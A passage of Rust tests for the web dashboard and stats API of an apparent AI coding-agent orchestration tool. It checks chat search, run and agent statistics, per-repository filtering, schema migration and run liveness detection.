16826 std::fs::create_dir_all(&dir).expect("talks dir");
16827 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
16828 }
16829
16830 #[tokio::test]
16831 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
16832 let f = Fixture::start().await;
16833 write_talk(
16834 &f,
16835 "20260901-000001-aaaa",
16836 "open",
16837 &[
16838 (
16839 "operator",
16840 "\n Why does the Pangolin cache expire?\nsecond line",
16841 ),
16842 ("agent", "Because the TTL is thirty seconds."),
16843 ],
16844 );
16845 write_talk(
16846 &f,
16847 "20260901-000002-bbbb",
16848 "closed",
16849 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
16850 );
16851 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
16852
16853 let search = |q: &'static str| {
16854 let f = &f;
16855 async move {
16856 f.get(&format!("/api/search?scope=chats&q={q}"))
16857 .await
16858 .json()
16859 }
16860 };
16861
16862 let v = search("PANGOLIN").await;
16863 assert_eq!(v["scope"], "chats");
16864 assert_eq!(v["total"], 1, "{v}");
16865 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
16866 assert_eq!(v["hits"][0]["field"], "title");
16867 assert_eq!(v["unreadable"], 1, "{v}");
16868 let marked: Vec<&str> = v["hits"][0]["snippet"]
16869 .as_array()
16870 .unwrap()
16871 .iter()
16872 .filter(|p| p["hit"] == true)
16873 .map(|p| p["text"].as_str().unwrap())
16874 .collect();
16875 assert_eq!(marked, ["Pangolin"]);
16876
16877 let v = search("zebra").await;
16879 assert_eq!(v["total"], 1, "{v}");
16880 assert_eq!(v["hits"][0]["field"], "agent");
16881 assert_eq!(search("pangolin%20thirty").await["total"], 1);
16883 assert_eq!(search("pangolin%20zebra").await["total"], 0);
16884 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
16886 assert_eq!(search(q).await["total"], 0, "{q}");
16887 }
16888 assert_eq!(search("second").await["hits"][0]["field"], "operator");
16890 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
16892
16893 let v = f.get("/api/search?scope=nope&q=a").await;
16894 assert_eq!(v.status, 400);
16895 assert!(
16896 v.body.contains("scope must be runs, tasks or chats"),
16897 "{}",
16898 v.body
16899 );
16900 }
16901
16902 #[test]
16903 fn a_question_card_links_a_task_id_to_the_task_page() {
16904 let start = APP_JS
16905 .find("function updateAskCard(")
16906 .expect("updateAskCard exists");
16907 let body = &APP_JS[start..];
16908 let body = &body[..body.find("\n}\n").expect("function end")];
16909 assert!(body.contains("question.run_is_task"));
16910 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
16911 assert!(body.contains("`#/runs/${question.run}`"));
16912 assert!(body.contains("\"task\" : \"run\""));
16913 }
16914
16915 #[test]
16916 fn plain_text_message_surfaces_go_through_linkify() {
16917 assert!(APP_JS.contains("function linkify("));
16918 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
16919 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
16920 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
16921 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
16922 assert!(!APP_JS.contains("innerHTML = text"));
16923 }
16924
16925 #[test]
16926 fn implementation_rate_views_keep_independent_samples() {
16927 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
16928 let a = stats::AgentStats {
16929 competitive_entered: competitive_n,
16930 competitive_wins: usize::from(competitive_n > 0),
16931 solo_entered: solo_n,
16932 solo_adopted: 2 * usize::from(solo_n > 0),
16933 ..Default::default()
16934 };
16935 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
16936 for (key, n, numerator) in [
16937 ("competitive_win_rate", competitive_n, a.competitive_wins),
16938 ("solo_adoption_rate", solo_n, a.solo_adopted),
16939 ] {
16940 if n == 0 {
16941 assert!(v[key].is_null());
16942 } else {
16943 assert_eq!(v[key]["denominator"], n);
16944 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
16945 }
16946 }
16947 }
16948 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
16949 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
16950 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
16951 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
16952 }
16953
16954 #[test]
16955 fn stats_bars_share_one_id_keyed_plan() {
16956 let start = APP_JS
16957 .find("function statsBarRows(")
16958 .expect("statsBarRows exists");
16959 let body = &APP_JS[start..];
16960 let body = &body[..body.find("\n}\n").expect("function end")];
16961 assert!(body.contains("statsBarPlan(rows)"));
16962 assert!(body.contains("statsAgentTone(row.agent)"));
16963 assert!(!body.contains("candTone(i)"));
16964 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
16965 for root in [
16966 "stats-agents-bars",
16967 "stats-solo-bars",
16968 "stats-reviewers-bars",
16969 ] {
16970 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
16971 }
16972 }
16973
16974 #[test]
16975 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
16976 let start = APP_JS
16977 .find("function renderStatsReviewerScatter(")
16978 .expect("renderStatsReviewerScatter exists");
16979 let body = &APP_JS[start..];
16980 let body = &body[..body.find("\n}\n").expect("function end")];
16981 assert!(body.contains("statsScatterPlan(reviewers)"));
16982 assert!(body.contains("statsAgentTone(d.agent)"));
16983 assert!(APP_JS.contains("function statsScatterPlan("));
16984 assert!(
16985 APP_JS.contains("d.submitted < STATS_LOW_N")
16986 || APP_JS.contains("r.submitted < STATS_LOW_N")
16987 );
16988 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
16989 assert!(APP_CSS.contains(".precision-scatter"));
16990 }
16991
16992 #[test]
16993 fn advisor_reflection_is_drawn_as_stacked_segments() {
16994 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
16995 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
16996 let html = include_str!("../assets/ui/index.html");
16997 assert!(html.contains("Approximate"));
16998 for label in ["reflected strongly", "faint", "no proposal"] {
16999 assert!(html.contains(label));
17000 }
17001 let css = include_str!("../assets/ui/app.css");
17002 for c in ["refl-strong", "refl-faint", "refl-absent"] {
17003 assert!(css.contains(&format!(".{c} {{")));
17004 }
17005 }
17006
17007 #[test]
17008 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
17009 assert!(APP_JS.contains("function statsDailyPlan("));
17010 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
17011 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
17012 }
17013
17014 #[test]
17015 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
17016 let start = APP_JS
17017 .find("function scheduleSearch(")
17018 .expect("scheduleSearch exists");
17019 let body = &APP_JS[start..];
17020 let body = &body[..body.find("\n}\n").expect("function end")];
17021 assert!(body.contains("s.seq += 1"));
17022 }
17023
17024 #[tokio::test]
17029 async fn stats_runs_unreadable_matches_health() {
17030 let f = Fixture::start().await;
17031 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
17032 let broken = f.runs().join("20260902-140502-bad");
17033 std::fs::create_dir_all(&broken).expect("run dir");
17034 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
17035
17036 let stats = f.get("/api/stats").await;
17037 let health = f.get("/api/health").await;
17038
17039 assert_eq!(stats.status, 200);
17040 assert_eq!(stats.json()["totals"]["runs"], 1);
17041 assert_eq!(stats.json()["runs_unreadable"], 1);
17042 assert_eq!(
17043 stats.json()["runs_unreadable"],
17044 health.json()["runs_unreadable"],
17045 "the dashboard and /api/health must never disagree about how many \
17046 runs could not be read"
17047 );
17048 }
17049
17050 #[tokio::test]
17051 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
17052 let f = Fixture::start().await;
17053 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
17054 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
17055 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
17056
17057 let totals = &f.get("/api/stats").await.json()["totals"];
17058 assert_eq!(totals["runs"], 3);
17059 assert_eq!(totals["merged"], 1);
17060 assert_eq!(totals["stalled"], 1);
17061 assert_eq!(totals["in_progress"], 1);
17062 assert_eq!(totals["blocked"], 0);
17065 assert_eq!(totals["ready"], 0);
17066 }
17067
17068 #[tokio::test]
17069 async fn stats_advisors_report_proposals_and_reflection() {
17070 use crate::advise::{Advice, AdvisorRecord, Reflection};
17071 use crate::verdict::Proposal;
17072
17073 let f = Fixture::start().await;
17074 let mut state = RunState::new(
17075 PathBuf::from("/repo/magi"),
17076 "main".to_owned(),
17077 "0123456789abcdef".to_owned(),
17078 "task".to_owned(),
17079 Config::default(),
17080 );
17081 state.id = "20260902-140501-a".to_owned();
17082 state.status = RunStatus::Merged;
17083 state.advice = Some(Advice {
17084 records: vec![
17085 AdvisorRecord {
17086 seat: "advisor-1".to_owned(),
17087 agent: "alpha".to_owned(),
17088 proposal: Some(Proposal {
17089 approach: "do it".to_owned(),
17090 key_tradeoff: "speed over memory".to_owned(),
17091 risks: Vec::new(),
17092 touches: Vec::new(),
17093 why_not_naive: "breaks under load".to_owned(),
17094 }),
17095 error: None,
17096 duration_ms: 0,
17097 reflection: Reflection::Strong,
17098 },
17099 AdvisorRecord {
17100 seat: "advisor-2".to_owned(),
17101 agent: "alpha".to_owned(),
17102 proposal: None,
17103 error: Some("timed out".to_owned()),
17104 duration_ms: 0,
17105 reflection: Reflection::Absent,
17106 },
17107 ],
17108 synthesis: Some("blended brief".to_owned()),
17109 });
17110 let dir = f.runs().join(&state.id);
17111 std::fs::create_dir_all(&dir).expect("run dir");
17112 std::fs::write(
17113 dir.join("run.json"),
17114 serde_json::to_string_pretty(&state).expect("serialize run"),
17115 )
17116 .expect("write run.json");
17117
17118 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
17120 let alpha = advisors
17121 .as_array()
17122 .expect("an array")
17123 .iter()
17124 .find(|a| a["agent"] == "alpha")
17125 .expect("alpha row");
17126 assert_eq!(alpha["seated"], 2);
17127 assert_eq!(alpha["proposed"], 1);
17128 assert_eq!(alpha["absent"], 1);
17129 assert_eq!(alpha["strong"], 1);
17130 assert_eq!(alpha["faint"], 0);
17131 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
17132 }
17133
17134 #[tokio::test]
17135 async fn stats_hides_agents_outside_the_roster_unless_all() {
17136 use crate::run::Candidate;
17137 let repo = TempDir::new().expect("repo dir");
17138 std::fs::write(
17139 repo.path().join("magi.toml"),
17140 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
17141 )
17142 .expect("magi.toml");
17143 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
17144 let mut state = RunState::new(
17145 PathBuf::from("/repo/magi"),
17146 "main".to_owned(),
17147 "0123456789abcdef".to_owned(),
17148 "task".to_owned(),
17149 Config::default(),
17150 );
17151 state.id = "20260902-140501-a".to_owned();
17152 state.status = RunStatus::Merged;
17153 for (label, agent) in [('A', "keep"), ('B', "retired")] {
17154 let mut c: Candidate = serde_json::from_value(serde_json::json!({
17155 "index": 0, "label": label.to_string(), "agent": agent,
17156 "branch": "b", "worktree": "/w",
17157 }))
17158 .expect("candidate");
17159 c.label = label;
17160 state.candidates.push(c);
17161 }
17162 let dir = f.runs().join(&state.id);
17163 std::fs::create_dir_all(&dir).expect("run dir");
17164 std::fs::write(
17165 dir.join("run.json"),
17166 serde_json::to_string_pretty(&state).expect("serialize run"),
17167 )
17168 .expect("write run.json");
17169
17170 let agents_of = |v: &serde_json::Value| -> Vec<String> {
17171 v["agents"]
17172 .as_array()
17173 .expect("array")
17174 .iter()
17175 .map(|a| a["agent"].as_str().unwrap().to_owned())
17176 .collect()
17177 };
17178 let hidden = f.get("/api/stats").await.json();
17179 assert_eq!(agents_of(&hidden), ["keep"]);
17180 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
17181 assert_eq!(hidden["totals"]["runs"], 1);
17182
17183 let all = f.get("/api/stats?all=true").await.json();
17184 assert_eq!(agents_of(&all).len(), 2);
17185 assert_eq!(all["retired_hidden"], serde_json::json!([]));
17186 let keep_agent = all["agents"]
17188 .as_array()
17189 .unwrap()
17190 .iter()
17191 .find(|a| a["agent"] == "keep")
17192 .unwrap();
17193 assert_eq!(keep_agent["competitive_entered"], 1);
17194 assert_eq!(keep_agent["competitive_wins"], 0);
17195 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
17196 assert_eq!(keep_agent["solo_entered"], 0);
17197 assert_eq!(keep_agent["solo_adopted"], 0);
17198 assert!(keep_agent["solo_adoption_rate"].is_null());
17199 }
17200
17201 #[tokio::test]
17202 async fn stats_release_bumps_split_clean_from_attention() {
17203 use crate::run::ReleaseBump;
17204
17205 let f = Fixture::start().await;
17206
17207 let mut clean = RunState::new(
17208 PathBuf::from("/repo/magi"),
17209 "main".to_owned(),
17210 "0123456789abcdef".to_owned(),
17211 "task".to_owned(),
17212 Config::default(),
17213 );
17214 clean.id = "20260902-140501-a".to_owned();
17215 clean.status = RunStatus::Merged;
17216 clean.release_bump = Some(ReleaseBump {
17217 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
17218 version: Some("1.0.0".to_owned()),
17219 automerge_enabled: true,
17220 merged_directly: false,
17221 local: false,
17222 release: None,
17223 problem: None,
17224 action_required: None,
17225 });
17226
17227 let mut blocked = RunState::new(
17228 PathBuf::from("/repo/magi"),
17229 "main".to_owned(),
17230 "0123456789abcdef".to_owned(),
17231 "task".to_owned(),
17232 Config::default(),
17233 );
17234 blocked.id = "20260902-140502-b".to_owned();
17235 blocked.status = RunStatus::Merged;
17236 blocked.release_bump = Some(ReleaseBump {
17237 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
17238 version: Some("1.0.1".to_owned()),
17239 automerge_enabled: false,
17240 merged_directly: false,
17241 local: false,
17242 release: None,
17243 problem: Some("checks red".to_owned()),
17244 action_required: Some("look at the PR".to_owned()),
17245 });
17246
17247 for state in [&clean, &blocked] {
17248 let dir = f.runs().join(&state.id);
17249 std::fs::create_dir_all(&dir).expect("run dir");
17250 std::fs::write(
17251 dir.join("run.json"),
17252 serde_json::to_string_pretty(state).expect("serialize run"),
17253 )
17254 .expect("write run.json");
17255 }
17256
17257 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
17258 assert_eq!(bumps["merged"], 2);
17259 assert_eq!(bumps["recorded"], 2);
17260 assert_eq!(bumps["pr_opened"], 2);
17261 assert_eq!(bumps["automerge_enabled"], 1);
17262 assert_eq!(bumps["needs_attention"], 1);
17263 assert_eq!(bumps["clean"], 1);
17264 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
17265 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
17266 }
17267
17268 #[tokio::test]
17269 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
17270 let f = Fixture::start().await;
17271 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
17272
17273 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
17274 assert_eq!(bumps["merged"], 1);
17275 assert_eq!(bumps["recorded"], 0);
17276 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
17279 assert_eq!(bumps["automerge_rate"], Value::Null);
17282 assert_eq!(bumps["attention_rate"], Value::Null);
17283 }
17284
17285 #[tokio::test]
17286 async fn stats_queue_counts_come_from_the_live_queue() {
17287 let f = Fixture::start().await;
17288 let q = f.queue();
17289 let mut queued = Task::new(
17290 "queued task".to_owned(),
17291 "do it".to_owned(),
17292 PathBuf::from("/repo"),
17293 Source::Human,
17294 );
17295 q.put(&mut queued).expect("put queued");
17296 let mut held = Task::new(
17297 "held task".to_owned(),
17298 "do it later".to_owned(),
17299 PathBuf::from("/repo"),
17300 Source::Human,
17301 );
17302 held.hold_machine(Some("out of attempts".to_owned()));
17303 q.put(&mut held).expect("put held");
17304
17305 let queue = f.get("/api/stats").await.json()["queue"].clone();
17306 assert_eq!(queue["queued"], 1);
17307 assert_eq!(queue["held"], 1);
17308 assert_eq!(queue["running"], 0);
17309 assert_eq!(queue["done"], 0);
17310 assert_eq!(queue["failed"], 0);
17311 assert_eq!(queue["blocked"], 0);
17312 }
17313
17314 #[tokio::test]
17315 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
17316 let f = Fixture::start().await;
17317 let stats = f.get("/api/stats").await;
17318 assert_eq!(stats.status, 200);
17319 assert_eq!(stats.json()["totals"]["runs"], 0);
17320 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
17321 assert_eq!(stats.json()["runs_unreadable"], 0);
17322 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
17323 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
17324 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
17325 assert_eq!(stats.json()["repo"], Value::Null);
17326 }
17327
17328 #[tokio::test]
17329 async fn stats_lists_every_repository_with_runs_recorded() {
17330 let f = Fixture::start().await;
17331 write_run_repo(
17332 &f.runs(),
17333 "20260902-140501-a",
17334 RunStatus::Merged,
17335 "/repos/a",
17336 );
17337 write_run_repo(
17338 &f.runs(),
17339 "20260902-140502-b",
17340 RunStatus::Merged,
17341 "/repos/a",
17342 );
17343 write_run_repo(
17344 &f.runs(),
17345 "20260902-140503-c",
17346 RunStatus::Blocked,
17347 "/repos/b",
17348 );
17349
17350 let stats = f.get("/api/stats").await;
17351 assert_eq!(stats.status, 200);
17352 assert_eq!(stats.json()["totals"]["runs"], 3);
17354 assert_eq!(stats.json()["repo"], Value::Null);
17355
17356 let repos = stats.json()["repos"].clone();
17357 let repos = repos.as_array().unwrap();
17358 assert_eq!(repos.len(), 2);
17359 assert_eq!(repos[0]["repo"], "/repos/a");
17361 assert_eq!(repos[0]["name"], "a");
17362 assert_eq!(repos[0]["runs"], 2);
17363 assert_eq!(repos[1]["repo"], "/repos/b");
17364 assert_eq!(repos[1]["runs"], 1);
17365 }
17366
17367 #[tokio::test]
17368 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
17369 let f = Fixture::start().await;
17370 write_run_repo(
17371 &f.runs(),
17372 "20260902-140501-a",
17373 RunStatus::Merged,
17374 "/repos/a",
17375 );
17376 write_run_repo(
17377 &f.runs(),
17378 "20260902-140502-b",
17379 RunStatus::Blocked,
17380 "/repos/b",
17381 );
17382
17383 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
17384 assert_eq!(stats.status, 200);
17385 assert_eq!(stats.json()["totals"]["runs"], 1);
17386 assert_eq!(stats.json()["totals"]["merged"], 1);
17387 assert_eq!(stats.json()["repo"], "/repos/a");
17388 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
17391 assert_eq!(stats.json()["runs_unreadable"], 0);
17394 }
17395
17396 #[tokio::test]
17397 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
17398 let f = Fixture::start().await;
17399 write_run_repo(
17400 &f.runs(),
17401 "20260902-140501-a",
17402 RunStatus::Merged,
17403 "/repos/a",
17404 );
17405 write_run_repo(
17406 &f.runs(),
17407 "20260902-140502-b",
17408 RunStatus::Merged,
17409 "/repos/b",
17410 );
17411
17412 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
17413 let json = f.get(uri).await.json();
17414 let daily = json["daily"].as_array().expect("daily is an array");
17415 assert_eq!(daily.len(), 30);
17416 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
17417 let mut sorted = dates.clone();
17418 sorted.sort();
17419 assert_eq!(dates, sorted);
17420 for d in daily {
17421 assert_eq!(
17422 d["merged"].as_u64().unwrap()
17423 + d["ready"].as_u64().unwrap()
17424 + d["other"].as_u64().unwrap(),
17425 d["runs"].as_u64().unwrap()
17426 );
17427 }
17428 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
17429 }
17430 }
17431
17432 #[tokio::test]
17433 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
17434 let f = Fixture::start().await;
17435 write_run_repo(
17436 &f.runs(),
17437 "20260902-140501-a",
17438 RunStatus::Merged,
17439 "/repos/a",
17440 );
17441
17442 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
17443 assert_eq!(stats.status, 404);
17444 }
17445
17446 #[tokio::test]
17447 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
17448 let f = Fixture::start().await;
17449 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
17450
17451 let summary = f.get("/api/runs").await.json();
17452 let row = &summary[0];
17453 assert_eq!(row["short"], "a1b2");
17454 assert_eq!(row["status"], "ready");
17455 assert_eq!(row["done"], true);
17456 assert_eq!(row["title"], "Add a web UI");
17457 assert_eq!(row["repo_name"], "magi");
17458 assert_eq!(row["judges"], 3);
17459 assert_eq!(row["winner"], Value::Null);
17460 assert_eq!(row["reviews"], 0);
17461
17462 let detail = f.get("/api/runs/a1b2").await;
17465 assert_eq!(detail.status, 200);
17466 assert_eq!(detail.json()["base_branch"], "main");
17467 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
17468 }
17469
17470 #[tokio::test]
17478 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
17479 let f = Fixture::start().await;
17480
17481 let mut none_run = RunState::new(
17482 PathBuf::from("/repo/magi"),
17483 "main".to_owned(),
17484 "0123456789abcdef".to_owned(),
17485 "Add a web UI".to_owned(),
17486 Config::default(),
17487 );
17488 none_run.id = "20260902-140503-none".to_owned();
17489 none_run.status = RunStatus::Ready;
17490 none_run.merge = Some(crate::run::MergeOutcome {
17491 mode: crate::config::MergeMode::None,
17492 ok: true,
17493 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
17494 empty: false,
17495 });
17496 write_state(&f.runs(), &none_run);
17497
17498 let mut pr_run = RunState::new(
17499 PathBuf::from("/repo/magi"),
17500 "main".to_owned(),
17501 "0123456789abcdef".to_owned(),
17502 "Add a web UI".to_owned(),
17503 Config::default(),
17504 );
17505 pr_run.id = "20260902-140504-prcl".to_owned();
17506 pr_run.status = RunStatus::Ready;
17507 pr_run.merge = Some(crate::run::MergeOutcome {
17508 mode: crate::config::MergeMode::Pr,
17509 ok: false,
17510 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
17511 empty: false,
17512 });
17513 write_state(&f.runs(), &pr_run);
17514
17515 let summary = f.get("/api/runs").await.json();
17516 let rows: std::collections::HashMap<&str, &Value> = summary
17517 .as_array()
17518 .expect("an array")
17519 .iter()
17520 .map(|r| (r["id"].as_str().expect("an id"), r))
17521 .collect();
17522 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
17523 assert_eq!(
17524 rows[none_run.id.as_str()]["unmerged_by_design"],
17525 true,
17526 "a mode-none Ready must be flagged in the list"
17527 );
17528 assert_eq!(
17529 rows[pr_run.id.as_str()]["unmerged_by_design"],
17530 false,
17531 "a Ready reached by a closed pull request is a different case"
17532 );
17533
17534 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
17535 assert_eq!(none_detail["status"], "ready");
17536 assert_eq!(none_detail["unmerged_by_design"], true);
17537
17538 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
17539 assert_eq!(pr_detail["unmerged_by_design"], false);
17540 }
17541
17542 #[tokio::test]
17547 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
17548 let f = Fixture::start().await;
17549 let id = "20260902-140502-bbbb";
17553 let mut state = RunState::new(
17554 PathBuf::from("/repo/magi"),
17555 "main".to_owned(),
17556 "0123456789abcdef".to_owned(),
17557 "Add a web UI".to_owned(),
17558 Config::default(),
17559 );
17560 state.id = id.to_owned();
17561 state.status = RunStatus::Judging;
17562 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
17563 let dir = f.runs().join(id);
17564 std::fs::create_dir_all(&dir).expect("run dir");
17565 std::fs::write(
17566 dir.join("run.json"),
17567 serde_json::to_string_pretty(&state).expect("serialize run"),
17568 )
17569 .expect("write run.json");
17570
17571 let cold = f.get(&format!("/api/runs/{id}")).await.json();
17577 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
17578 assert_eq!(cold["live"], "unknown", "{cold}");
17579
17580 write_daemon(f.home.path(), Timestamp::now());
17583 let warm = f.get(&format!("/api/runs/{id}")).await.json();
17584 assert_eq!(warm["live"], "live", "{warm}");
17585 }
17586
17587 #[test]
17588 fn schema_thirteen_loads_through_cli_and_web_without_rewriting() {
17589 let home = tempfile::tempdir().expect("temp home");
17590 let runs = home.path().join("runs");
17591 for origin in [None, Some(crate::run::Origin::queue("legacy-task"))] {
17592 let mut state = RunState::new(
17593 PathBuf::from("/repo/magi"),
17594 "main".to_owned(),
17595 "0123456789abcdef".to_owned(),
17596 "Generated review context, not authored task criteria".to_owned(),
17597 Config::default(),
17598 );
17599 state.origin = origin;
17600 state.status = RunStatus::Blocked;
17601 state.driver_exited = false;
17603 state.gate_ran = true;
17604 let expected = serde_json::to_value(&state).expect("serialize current state");
17605 let mut legacy = expected.clone();
17606 legacy["schema"] = serde_json::json!(13);
17607 legacy.as_object_mut().unwrap().remove("task_instruction");
17608 let dir = runs.join(&state.id);
17609 std::fs::create_dir_all(&dir).expect("run dir");
17610 let path = dir.join("run.json");
17611 let body = serde_json::to_vec_pretty(&legacy).expect("serialize legacy state");
17612 std::fs::write(&path, &body).expect("write legacy run");
17613
17614 for loaded in [
17615 RunState::load_under(&state.id, home.path()).expect("CLI migration"),
17616 read_run(&runs, &state.id).expect("web migration"),
17617 ] {
17618 assert_eq!(loaded.schema, crate::run::SCHEMA);
17619 assert!(loaded.task_instruction.is_none());
17620 assert_eq!(serde_json::to_value(loaded).unwrap(), expected);
17621 }
17622 assert_eq!(runs_unreadable(&runs), 0);
17623 assert_eq!(std::fs::read(&path).unwrap(), body);
17624 }
17625 }
17626
17627 #[tokio::test]
17630 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
17631 let f = Fixture::start().await;
17632 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
17633 let mut state = RunState::new(
17634 PathBuf::from("/repo/magi"),
17635 "main".to_owned(),
17636 "0123456789abcdef".to_owned(),
17637 "Add a web UI".to_owned(),
17638 Config::default(),
17639 );
17640 state.id = id.to_owned();
17641 state.origin = origin;
17642 let mut value = serde_json::to_value(&state).expect("serialize run");
17643 if let Some(schema) = schema {
17644 value["schema"] = serde_json::json!(schema);
17645 value.as_object_mut().unwrap().remove("origin");
17646 }
17647 let dir = f.runs().join(id);
17648 std::fs::create_dir_all(&dir).expect("run dir");
17649 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
17650 };
17651 write(
17652 "20260930-092817-ec34",
17653 Some(crate::run::Origin::from_agent_env(
17654 Some(("4a7b".to_owned(), "chat".to_owned())),
17655 None,
17656 )),
17657 None,
17658 );
17659 write("20260930-092817-0ld1", None, Some(12));
17660
17661 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
17662 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
17663 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
17664
17665 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
17666 assert_eq!(
17667 old["origin_label"], "origin unknown (started before origins were recorded)",
17668 "{old}"
17669 );
17670 assert!(old["origin"].is_null(), "{old}");
17671
17672 let list = f.get("/api/runs").await.json();
17673 let labels: Vec<_> = list
17674 .as_array()
17675 .unwrap()
17676 .iter()
17677 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
17678 .collect();
17679 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
17680 }
17681
17682 #[tokio::test]
17689 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
17690 let f = Fixture::start().await;
17691 let id = "20260922-090000-cccc";
17692 let mut state = RunState::new(
17693 PathBuf::from("/repo/magi"),
17694 "main".to_owned(),
17695 "0123456789abcdef".to_owned(),
17696 "Review only".to_owned(),
17697 Config::default(),
17698 );
17699 state.id = id.to_owned();
17700 state.status = RunStatus::Reviewing;
17701 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
17702 state.driver_pid = Some(std::process::id());
17708 state.driver_started_at = Some(
17709 crate::proc::process_started_at(std::process::id())
17710 .expect("this test process's own start time must be queryable"),
17711 );
17712 let dir = f.runs().join(id);
17713 std::fs::create_dir_all(&dir).expect("run dir");
17714 std::fs::write(
17715 dir.join("run.json"),
17716 serde_json::to_string_pretty(&state).expect("serialize run"),
17717 )
17718 .expect("write run.json");
17719
17720 let detail = f.get(&format!("/api/runs/{id}")).await.json();
17721 assert_eq!(detail["live"], "live", "{detail}");
17722 }
17723
17724 #[tokio::test]
17730 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
17731 let f = Fixture::start().await;
17732 let id = "20260922-090100-dddd";
17733 let mut state = RunState::new(
17734 PathBuf::from("/repo/magi"),
17735 "main".to_owned(),
17736 "0123456789abcdef".to_owned(),
17737 "Review only".to_owned(),
17738 Config::default(),
17739 );
17740 state.id = id.to_owned();
17741 state.status = RunStatus::Reviewing;
17742 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
17743 state.driver_pid = Some(std::process::id());
17748 state.driver_started_at = Some("1".to_owned());
17749 let dir = f.runs().join(id);
17750 std::fs::create_dir_all(&dir).expect("run dir");
17751 std::fs::write(
17752 dir.join("run.json"),
17753 serde_json::to_string_pretty(&state).expect("serialize run"),
17754 )
17755 .expect("write run.json");
17756
